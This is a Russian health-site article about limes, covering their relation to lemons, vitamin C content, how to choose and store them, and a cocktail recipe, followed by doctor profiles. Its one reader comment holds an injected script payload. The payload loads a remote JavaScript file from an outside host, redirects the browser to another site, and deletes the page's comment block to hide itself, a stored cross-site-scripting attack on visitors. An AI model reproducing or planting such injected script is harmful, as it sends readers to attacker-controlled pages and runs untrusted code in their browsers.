Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Вечнозеленый лайм  >>  Вечнозеленый лайм
 
Обратная связь
 

Вечнозеленый лайм

Размер шрифта
23 марта 2012 10:00
  • google_analytics: false
  • Нравится

Что полезней – лайм или мандарин? Чем примечателен зеленый родственник лимона? Как его хранить и как правильно приготовить?

1

Лайм и лимон – родственники. Лайм относится к семейству рутовых, подсемейству цитрусовых и роду цитрус. И листья, и плоды этого растения имеют микрокапсулы, полные эфирных масел. Именно эти масла летят во все стороны и создают неповторимый аромат, когда мы снимаем шкурку цитрусовых. Внешняя цветная оболочка плода именуется flavedo, а внутренняя – albedo.

Достоинства лайма

Самое известное достоинство ягодного плода лайма – большое количество витамина C (хоть и меньше, чем в лимоне). Витамин C предотвращает хрупкость сосудов и обладает противовоспалительным действием. Дефицит витамина приводит к распространенному в прошлых веках состоянию под названием цинга или скорбут.

Пьедестал почета по количеству витамина C:

Лимон
Лайм
Мандарин

Как выбрать

Спелый лайм слегка желтоват. Зеленый лайм является недозрелым плодом, но это ничуть не умаляет его витаминных или вкусовых качеств. Главное – лайм не должен быть засохшим.

Как хранить

Лайм можно до 2 недель хранить в холодильнике, в отсеке для овощей. Вне холодильника лайм тоже пролежит. Сок лайма после отжатия можно заморозить и хранить в таком виде неограниченно долго, используя для коктейлей.

Как готовить

Лайм можно употреблять только в свежем виде, потому что витамин C разрушается при нагревании в первые 5 минут. Кислый сок, отжатый в салат или холодные блюда, прекрасно компенсирует отсутствие соли.

Рецепт коктейля:

Растертый лайм
Растертый лед
Растертая мята
Сок лайма
Сок граната
Газировка

 

Сюжеты по теме:
Лимон, который никогда не созреет. Лайм – вечнозеленый цитрус

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:48

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.